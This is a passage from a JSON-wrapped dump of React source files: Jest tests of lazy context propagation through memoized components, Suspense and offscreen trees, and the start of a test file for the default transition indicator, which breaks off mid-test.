    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet use;\nlet useState;\nlet useContext;\nlet Suspense;\nlet SuspenseList;\nlet getCacheForType;\nlet caches;\nlet seededCache;\nlet assertLog;\n\ndescribe('ReactLazyContextPropagation', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    use = React.use;\n    useState = React.useState;\n    useContext = React.useContext;\n    Suspense = React.Suspense;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n\n    getCacheForType = React.unstable_getCacheForType;\n\n    caches = [];\n    seededCache = null;\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      // Trick to seed a cache before it exists.\n      // TODO: Need a built-in API to seed data before the initial render (i.e.\n      // not a refresh because nothing has mounted yet).\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error! [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  // function AsyncText({text, showVersion}) {\n  //   const version = readText(text);\n  //   const fullText = showVersion ? `${text} [v${version}]` : text;\n  //   Scheduler.log(fullText);\n  //   return text;\n  // }\n\n  function seedNextTextCache(text) {\n    if (seededCache === null) {\n      seededCache = createTextCache();\n    }\n    seededCache.resolve(text);\n  }\n\n  function resolveMostRecentTextCache(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  const resolveText = resolveMostRecentTextCache;\n\n  // function rejectMostRecentTextCache(text, error) {\n  //   if (caches.length === 0) {\n  //     throw Error('Cache does not exist.');\n  //   } else {\n  //     // Resolve the most recently created cache. An older cache can by\n  //     // resolved with `caches[index].reject(text, error)`.\n  //     caches[caches.length - 1].reject(text, error);\n  //   }\n  // }\n\n  it(\n    'context change should prevent bailout of memoized component (useMemo -> ' +\n      'no intermediate fiber)',\n    async () => {\n      const root = ReactNoop.createRoot();\n\n      const Context = React.createContext(0);\n\n      let setValue;\n      function App() {\n        const [value, _setValue] = useState(0);\n        setValue = _setValue;\n\n        // NOTE: It's an important part of this test that we're memoizing the\n        // props of the Consumer component, as opposed to wrapping in an\n        // additional memoized fiber, because the implementation propagates\n        // context changes whenever a fiber bails out.\n        const consumer = React.useMemo(() => <Consumer />, []);\n\n        return <Context.Provider value={value}>{consumer}</Context.Provider>;\n      }\n\n      function Consumer() {\n        const value = useContext(Context);\n        // Even though Consumer is memoized, Consumer should re-render\n        // DeepChild whenever the context value changes. Otherwise DeepChild\n        // won't receive the new value.\n        return <DeepChild value={value} />;\n      }\n\n      function DeepChild({value}) {\n        return <Text text={value} />;\n      }\n\n      await act(() => {\n        root.render(<App />);\n      });\n      assertLog([0]);\n      expect(root).toMatchRenderedOutput('0');\n\n      await act(() => {\n        setValue(1);\n      });\n      assertLog([1]);\n      expect(root).toMatchRenderedOutput('1');\n    },\n  );\n\n  it('context change should prevent bailout of memoized component (memo HOC)', async () => {\n    const root = ReactNoop.createRoot();\n\n    const Context = React.createContext(0);\n\n    let setValue;\n    function App() {\n      const [value, _setValue] = useState(0);\n      setValue = _setValue;\n      return (\n        <Context.Provider value={value}>\n          <Consumer />\n        </Context.Provider>\n      );\n    }\n\n    const Consumer = React.memo(() => {\n      const value = useContext(Context);\n      // Even though Consumer is memoized, Consumer should re-render\n      // DeepChild whenever the context value changes. Otherwise DeepChild\n      // won't receive the new value.\n      return <DeepChild value={value} />;\n    });\n\n    function DeepChild({value}) {\n      return <Text text={value} />;\n    }\n\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([0]);\n    expect(root).toMatchRenderedOutput('0');\n\n    await act(() => {\n      setValue(1);\n    });\n    assertLog([1]);\n    expect(root).toMatchRenderedOutput('1');\n  });\n\n  it('context change should prevent bailout of memoized component (PureComponent)', async () => {\n    const root = ReactNoop.createRoot();\n\n    const Context = React.createContext(0);\n\n    let setValue;\n    function App() {\n      const [value, _setValue] = useState(0);\n      setValue = _setValue;\n      return (\n        <Context.Provider value={value}>\n          <Consumer />\n        </Context.Provider>\n      );\n    }\n\n    class Consumer extends React.PureComponent {\n      static contextType = Context;\n      render() {\n        // Even though Consumer is memoized, Consumer should re-render\n        // DeepChild whenever the context value changes. Otherwise DeepChild\n        // won't receive the new value.\n        return <DeepChild value={this.context} />;\n      }\n    }\n\n    function DeepChild({value}) {\n      return <Text text={value} />;\n    }\n\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([0]);\n    expect(root).toMatchRenderedOutput('0');\n\n    await act(() => {\n      setValue(1);\n    });\n    assertLog([1]);\n    expect(root).toMatchRenderedOutput('1');\n  });\n\n  it(\"context consumer bails out if context hasn't changed\", async () => {\n    const root = ReactNoop.createRoot();\n\n    const Context = React.createContext(0);\n\n    function App() {\n      return (\n        <Context.Provider value={0}>\n          <Consumer />\n        </Context.Provider>\n      );\n    }\n\n    let setOtherValue;\n    const Consumer = React.memo(() => {\n      const value = useContext(Context);\n\n      const [, _setOtherValue] = useState(0);\n      setOtherValue = _setOtherValue;\n\n      Scheduler.log('Consumer');\n\n      return <Text text={value} />;\n    });\n\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Consumer', 0]);\n    expect(root).toMatchRenderedOutput('0');\n\n    await act(() => {\n      // Intentionally calling setState to some other arbitrary value before\n      // setting it back to the current one. That way an update is scheduled,\n      // but we'll bail out during render when nothing has changed.\n      setOtherValue(1);\n      setOtherValue(0);\n    });\n    // NOTE: If this didn't yield anything, that indicates that we never visited\n    // the consumer during the render phase, which probably means the eager\n    // bailout mechanism kicked in. Because we're testing the _lazy_ bailout\n    // mechanism, update this test to foil the _eager_ bailout, somehow. Perhaps\n    // by switching to useReducer.\n    assertLog(['Consumer']);\n    expect(root).toMatchRenderedOutput('0');\n  });\n\n  // @gate enableLegacyCache\n  it('context is propagated across retries', async () => {\n    const root = ReactNoop.createRoot();\n\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context.Provider value={value}>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Async />\n          </Suspense>\n          <Text text={value} />\n        </Context.Provider>\n      );\n    }\n\n    function Async() {\n      const value = useContext(Context);\n      readText(value);\n\n      // When `readText` suspends, we haven't yet visited Indirection and all\n      // of its children. They won't get rendered until a later retry.\n      return <Indirection />;\n    }\n\n    const Indirection = React.memo(() => {\n      // This child must always be consistent with the sibling Text component.\n      return <DeepChild />;\n    });\n\n    function DeepChild() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    await seedNextTextCache('A');\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      // Intentionally not wrapping in startTransition, so that the fallback\n      // the fallback displays despite this being a refresh.\n      setContext('B');\n    });\n    assertLog([\n      'Suspend! [B]',\n      'Loading...',\n      'B',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading...B');\n\n    await act(async () => {\n      await resolveText('B');\n    });\n    assertLog(['B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  // @gate enableLegacyCache\n  it('multiple contexts are propagated across retries', async () => {\n    // Same as previous test, but with multiple context providers\n    const root = ReactNoop.createRoot();\n\n    const Context1 = React.createContext('A');\n    const Context2 = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context1.Provider value={value}>\n          <Context2.Provider value={value}>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Async />\n            </Suspense>\n            <Text text={value} />\n          </Context2.Provider>\n        </Context1.Provider>\n      );\n    }\n\n    function Async() {\n      const value = useContext(Context1);\n      readText(value);\n\n      // When `readText` suspends, we haven't yet visited Indirection and all\n      // of its children. They won't get rendered until a later retry.\n      return (\n        <>\n          <Indirection1 />\n          <Indirection2 />\n        </>\n      );\n    }\n\n    const Indirection1 = React.memo(() => {\n      // This child must always be consistent with the sibling Text component.\n      return <DeepChild1 />;\n    });\n\n    const Indirection2 = React.memo(() => {\n      // This child must always be consistent with the sibling Text component.\n      return <DeepChild2 />;\n    });\n\n    function DeepChild1() {\n      const value = useContext(Context1);\n      return <Text text={value} />;\n    }\n\n    function DeepChild2() {\n      const value = useContext(Context2);\n      return <Text text={value} />;\n    }\n\n    await seedNextTextCache('A');\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A', 'A']);\n    expect(root).toMatchRenderedOutput('AAA');\n\n    await act(() => {\n      // Intentionally not wrapping in startTransition, so that the fallback\n      // the fallback displays despite this being a refresh.\n      setContext('B');\n    });\n    assertLog([\n      'Suspend! [B]',\n      'Loading...',\n      'B',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading...B');\n\n    await act(async () => {\n      await resolveText('B');\n    });\n    assertLog(['B', 'B']);\n    expect(root).toMatchRenderedOutput('BBB');\n  });\n\n  // @gate enableLegacyCache && !disableLegacyMode\n  it('context is propagated across retries (legacy)', async () => {\n    const root = ReactNoop.createLegacyRoot();\n\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context.Provider value={value}>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Async />\n          </Suspense>\n          <Text text={value} />\n        </Context.Provider>\n      );\n    }\n\n    function Async() {\n      const value = useContext(Context);\n      readText(value);\n\n      // When `readText` suspends, we haven't yet visited Indirection and all\n      // of its children. They won't get rendered until a later retry.\n      return <Indirection />;\n    }\n\n    const Indirection = React.memo(() => {\n      // This child must always be consistent with the sibling Text component.\n      return <DeepChild />;\n    });\n\n    function DeepChild() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    await seedNextTextCache('A');\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      // Intentionally not wrapping in startTransition, so that the fallback\n      // the fallback displays despite this being a refresh.\n      setContext('B');\n    });\n    assertLog(['Suspend! [B]', 'Loading...', 'B']);\n    expect(root).toMatchRenderedOutput('Loading...B');\n\n    await act(async () => {\n      await resolveText('B');\n    });\n    assertLog(['B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  // @gate enableLegacyCache && enableLegacyHidden\n  it('context is propagated through offscreen trees', async () => {\n    const LegacyHidden = React.unstable_LegacyHidden;\n\n    const root = ReactNoop.createRoot();\n\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context.Provider value={value}>\n          <LegacyHidden mode=\"hidden\">\n            <Indirection />\n          </LegacyHidden>\n          <Text text={value} />\n        </Context.Provider>\n      );\n    }\n\n    const Indirection = React.memo(() => {\n      // This child must always be consistent with the sibling Text component.\n      return <DeepChild />;\n    });\n\n    function DeepChild() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    await seedNextTextCache('A');\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      setContext('B');\n    });\n    assertLog(['B', 'B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  // @gate enableLegacyCache && enableLegacyHidden\n  it('multiple contexts are propagated across through offscreen trees', async () => {\n    // Same as previous test, but with multiple context providers\n    const LegacyHidden = React.unstable_LegacyHidden;\n\n    const root = ReactNoop.createRoot();\n\n    const Context1 = React.createContext('A');\n    const Context2 = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context1.Provider value={value}>\n          <Context2.Provider value={value}>\n            <LegacyHidden mode=\"hidden\">\n              <Indirection1 />\n              <Indirection2 />\n            </LegacyHidden>\n            <Text text={value} />\n          </Context2.Provider>\n        </Context1.Provider>\n      );\n    }\n\n    const Indirection1 = React.memo(() => {\n      // This child must always be consistent with the sibling Text component.\n      return <DeepChild1 />;\n    });\n\n    const Indirection2 = React.memo(() => {\n      // This child must always be consistent with the sibling Text component.\n      return <DeepChild2 />;\n    });\n\n    function DeepChild1() {\n      const value = useContext(Context1);\n      return <Text text={value} />;\n    }\n\n    function DeepChild2() {\n      const value = useContext(Context2);\n      return <Text text={value} />;\n    }\n\n    await seedNextTextCache('A');\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A', 'A']);\n    expect(root).toMatchRenderedOutput('AAA');\n\n    await act(() => {\n      setContext('B');\n    });\n    assertLog(['B', 'B', 'B']);\n    expect(root).toMatchRenderedOutput('BBB');\n  });\n\n  // @gate enableSuspenseList\n  it('contexts are propagated through SuspenseList', async () => {\n    // This kinda tests an implementation detail. SuspenseList has an early\n    // bailout that doesn't use `bailoutOnAlreadyFinishedWork`. It probably\n    // should just use that function, though.\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      const children = React.useMemo(\n        () => (\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Child />\n            <Child />\n          </SuspenseList>\n        ),\n        [],\n      );\n      return <Context.Provider value={value}>{children}</Context.Provider>;\n    }\n\n    function Child() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      setContext('B');\n    });\n    assertLog(['B', 'B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  it('nested bailouts', async () => {\n    // Lazy context propagation will stop propagating when it hits the first\n    // match. If we bail out again inside that tree, we must resume propagating.\n\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context.Provider value={value}>\n          <ChildIndirection />\n        </Context.Provider>\n      );\n    }\n\n    const ChildIndirection = React.memo(() => {\n      return <Child />;\n    });\n\n    function Child() {\n      const value = useContext(Context);\n      return (\n        <>\n          <Text text={value} />\n          <DeepChildIndirection />\n        </>\n      );\n    }\n\n    const DeepChildIndirection = React.memo(() => {\n      return <DeepChild />;\n    });\n\n    function DeepChild() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      setContext('B');\n    });\n    assertLog(['B', 'B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  // @gate enableLegacyCache\n  it('nested bailouts across retries', async () => {\n    // Lazy context propagation will stop propagating when it hits the first\n    // match. If we bail out again inside that tree, we must resume propagating.\n\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context.Provider value={value}>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Async value={value} />\n          </Suspense>\n        </Context.Provider>\n      );\n    }\n\n    function Async({value}) {\n      // When this suspends, we won't be able to visit its children during the\n      // current render. So we must take extra care to propagate the context\n      // change in such a way that they're aren't lost when we retry in a\n      // later render.\n      readText(value);\n      return <Child value={value} />;\n    }\n\n    function Child() {\n      const value = useContext(Context);\n      return (\n        <>\n          <Text text={value} />\n          <DeepChildIndirection />\n        </>\n      );\n    }\n\n    const DeepChildIndirection = React.memo(() => {\n      return <DeepChild />;\n    });\n\n    function DeepChild() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await seedNextTextCache('A');\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      setContext('B');\n    });\n    assertLog([\n      'Suspend! [B]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    await act(async () => {\n      await resolveText('B');\n    });\n    assertLog(['B', 'B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  // @gate enableLegacyCache && enableLegacyHidden\n  it('nested bailouts through offscreen trees', async () => {\n    // Lazy context propagation will stop propagating when it hits the first\n    // match. If we bail out again inside that tree, we must resume propagating.\n\n    const LegacyHidden = React.unstable_LegacyHidden;\n\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context.Provider value={value}>\n          <LegacyHidden mode=\"hidden\">\n            <Child />\n          </LegacyHidden>\n        </Context.Provider>\n      );\n    }\n\n    function Child() {\n      const value = useContext(Context);\n      return (\n        <>\n          <Text text={value} />\n          <DeepChildIndirection />\n        </>\n      );\n    }\n\n    const DeepChildIndirection = React.memo(() => {\n      return <DeepChild />;\n    });\n\n    function DeepChild() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      setContext('B');\n    });\n    assertLog(['B', 'B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  it('finds context consumers in multiple sibling branches', async () => {\n    // This test confirms that when we find a matching context consumer during\n    // propagation, we continue propagating to its sibling branches.\n\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, setValue] = useState('A');\n      setContext = setValue;\n      return (\n        <Context.Provider value={value}>\n          <Blah />\n        </Context.Provider>\n      );\n    }\n\n    const Blah = React.memo(() => {\n      return (\n        <>\n          <Indirection />\n          <Indirection />\n        </>\n      );\n    });\n\n    const Indirection = React.memo(() => {\n      return <Child />;\n    });\n\n    function Child() {\n      const value = useContext(Context);\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A', 'A']);\n    expect(root).toMatchRenderedOutput('AA');\n\n    await act(() => {\n      setContext('B');\n    });\n    assertLog(['B', 'B']);\n    expect(root).toMatchRenderedOutput('BB');\n  });\n\n  it('regression: context change triggers retry of suspended Suspense boundary on initial mount', async () => {\n    // Regression test for a bug where a context change above a suspended\n    // Suspense boundary would fail to trigger a retry. When a Suspense\n    // boundary suspends during initial mount, the primary children's fibers\n    // are discarded because there is no current tree to preserve them. If\n    // the suspended promise never resolves, the only way to retry is\n    // something external — like a context change. Context propagation must\n    // mark suspended Suspense boundaries for retry even though the consumer\n    // fibers no longer exist in the tree.\n    //\n    // The Provider component owns the state update. The children are\n    // passed in from above, so they are not re-created when the Provider\n    // re-renders — this means the Suspense boundary bails out, exercising\n    // the lazy context propagation path where the bug manifests.\n    const Context = React.createContext(null);\n    const neverResolvingPromise = new Promise(() => {});\n    const resolvedThenable = {status: 'fulfilled', value: 'Result', then() {}};\n\n    function Consumer() {\n      return <Text text={use(use(Context))} />;\n    }\n\n    let setPromise;\n    function Provider({children}) {\n      const [promise, _setPromise] = useState(neverResolvingPromise);\n      setPromise = _setPromise;\n      return <Context.Provider value={promise}>{children}</Context.Provider>;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Provider>\n          <Suspense fallback={<Text text=\"Loading\" />}>\n            <Consumer />\n          </Suspense>\n        </Provider>,\n      );\n    });\n    assertLog(['Loading']);\n    expect(root).toMatchRenderedOutput('Loading');\n\n    await act(() => {\n      setPromise(resolvedThenable);\n    });\n    assertLog(['Result']);\n    expect(root).toMatchRenderedOutput('Result');\n  });\n\n  it('regression: context change triggers retry of suspended Suspense boundary on initial mount (nested)', async () => {\n    // Same as above, but with an additional indirection component between\n    // the provider and the Suspense boundary. This exercises the\n    // propagateContextChanges walker path rather than the\n    // propagateParentContextChanges path.\n    const Context = React.createContext(null);\n    const neverResolvingPromise = new Promise(() => {});\n    const resolvedThenable = {status: 'fulfilled', value: 'Result', then() {}};\n\n    function Consumer() {\n      return <Text text={use(use(Context))} />;\n    }\n\n    function Indirection({children}) {\n      Scheduler.log('Indirection');\n      return children;\n    }\n\n    let setPromise;\n    function Provider({children}) {\n      const [promise, _setPromise] = useState(neverResolvingPromise);\n      setPromise = _setPromise;\n      return <Context.Provider value={promise}>{children}</Context.Provider>;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Provider>\n          <Indirection>\n            <Suspense fallback={<Text text=\"Loading\" />}>\n              <Consumer />\n            </Suspense>\n          </Indirection>\n        </Provider>,\n      );\n    });\n    assertLog(['Indirection', 'Loading']);\n    expect(root).toMatchRenderedOutput('Loading');\n\n    // Indirection should not re-render — only the Suspense boundary\n    // should be retried.\n    await act(() => {\n      setPromise(resolvedThenable);\n    });\n    assertLog(['Result']);\n    expect(root).toMatchRenderedOutput('Result');\n  });\n\n  // @gate enableLegacyCache\n  it('context change propagates to Suspense fallback (memo boundary)', async () => {\n    // When a context change occurs above a Suspense boundary that is currently\n    // showing its fallback, the fallback's context consumers should re-render\n    // with the updated value — even if there's a memo boundary between the\n    // provider and the Suspense boundary that prevents the fallback element\n    // references from changing.\n    const root = ReactNoop.createRoot();\n    const Context = React.createContext('A');\n\n    let setContext;\n    function App() {\n      const [value, _setValue] = useState('A');\n      setContext = _setValue;\n      return (\n        <Context.Provider value={value}>\n          <MemoizedWrapper />\n          <Text text={value} />\n        </Context.Provider>\n      );\n    }\n\n    const MemoizedWrapper = React.memo(function MemoizedWrapper() {\n      return (\n        <Suspense fallback={<FallbackConsumer />}>\n          <AsyncChild />\n        </Suspense>\n      );\n    });\n\n    function FallbackConsumer() {\n      const value = useContext(Context);\n      return <Text text={'Fallback: ' + value} />;\n    }\n\n    function AsyncChild() {\n      readText('async');\n      return <Text text=\"Content\" />;\n    }\n\n    // Initial render — primary content suspends, fallback is shown\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([\n      'Suspend! [async]',\n      'Fallback: A',\n      'A',\n      // pre-warming\n      'Suspend! [async]',\n    ]);\n    expect(root).toMatchRenderedOutput('Fallback: AA');\n\n    // Update context while still suspended. The fallback consumer should\n    // re-render with the new value.\n    await act(() => {\n      setContext('B');\n    });\n    assertLog([\n      // The Suspense boundary retries the primary children first\n      'Suspend! [async]',\n      'Fallback: B',\n      'B',\n      // pre-warming\n      'Suspend! [async]',\n    ]);\n    expect(root).toMatchRenderedOutput('Fallback: BB');\n\n    // Unsuspend. The primary content should render with the latest context.\n    await act(async () => {\n      await resolveText('async');\n    });\n    assertLog(['Content']);\n    expect(root).toMatchRenderedOutput('ContentB');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactDefaultTransitionIndicator-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet use;\nlet useOptimistic;\nlet useState;\nlet useTransition;\nlet useDeferredValue;\nlet assertLog;\nlet waitForPaint;\n\ndescribe('ReactDefaultTransitionIndicator', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n    assertLog = InternalTestUtils.assertLog;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    use = React.use;\n    useOptimistic = React.useOptimistic;\n    useState = React.useState;\n    useTransition = React.useTransition;\n    useDeferredValue = React.useDeferredValue;\n  });\n\n  // @gate enableDefaultTransitionIndicator\n  it('triggers the default indicator while a transition is on-going', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function App() {\n      return use(promise);\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(() => {\n      React.startTransition(() => {\n        root.render(<App />);\n      });\n    });\n\n    assertLog(['start']);\n\n    await act(async () => {\n      await resolve('Hello');\n    });\n\n    assertLog(['stop']);\n\n    expect(root).toMatchRenderedOutput('Hello');\n  });\n\n  // @gate enableDefaultTransitionIndicator\n  it('does not trigger the default indicator if there is a sync mutation', async () => {\n    const promiseA = Promise.resolve('Hi');\n    let resolveB;\n    const promiseB = new Promise(r => (resolveB = r));\n    let update;\n    function App({children}) {\n      const [state, setState] = useState('');\n      update = setState;\n      return (\n        <div>\n          {state}\n          {children}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(() => {\n      React.startTransition(() => {\n        root.render(<App>{promiseA}</App>);\n      });\n    });\n\n    assertLog(['start', 'stop']);\n\n    expect(root).toMatchRenderedOutput(<div>Hi</div>);\n\n    await act(() => {\n      update('Loading...');\n      React.startTransition(() => {\n        update('');\n        root.render(<App>{promiseB}</App>);\n      });\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput(<div>Loading...Hi</div>);\n\n    await act(async () => {\n      await resolveB('Hello');\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  // @gate enableDefaultTransitionIndicator\n  it('does not trigger the default indicator if there is an optimistic update', async () => {\n    const promiseA = Promise.resolve('Hi');\n    let resolveB;\n    const promiseB = new Promise(r => (resolveB = r));\n    let update;\n    function App({children}) {\n      const [state, setOptimistic] = useOptimistic('');\n      update = setOptimistic;\n      return (\n        <div>\n          {state}\n          {children}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(() => {\n      React.startTransition(() => {\n        root.render(<App>{promiseA}</App>);\n      });\n    });\n\n    assertLog(['start', 'stop']);\n\n    expect(root).toMatchRenderedOutput(<div>Hi</div>);\n\n    await act(() => {\n      React.startTransition(() => {\n        update('Loading...');\n        root.render(<App>{promiseB}</App>);\n      });\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput(<div>Loading...Hi</div>);\n\n    await act(async () => {\n      await resolveB('Hello');\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  // @gate enableDefaultTransitionIndicator\n  it('does not trigger the default indicator if there is an isPending update', async () => {\n    const promiseA = Promise.resolve('Hi');\n    let resolveB;\n    const promiseB = new Promise(r => (resolveB = r));\n    let start;\n    function App({children}) {\n      const [isPending, startTransition] = useTransition();\n      start = startTransition;\n      return (\n        <div>\n          {isPending ? 'Loading...' : ''}\n          {children}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(() => {\n      React.startTransition(() => {\n        root.render(<App>{promiseA}</App>);\n      });\n    });\n\n    assertLog(['start', 'stop']);\n\n    expect(root).toMatchRenderedOutput(<div>Hi</div>);\n\n    await act(() => {\n      start(() => {\n        root.render(<App>{promiseB}</App>);\n      });\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput(<div>Loading...Hi</div>);\n\n    await act(async () => {\n      await resolveB('Hello');\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  // @gate enableDefaultTransitionIndicator\n  it('triggers the 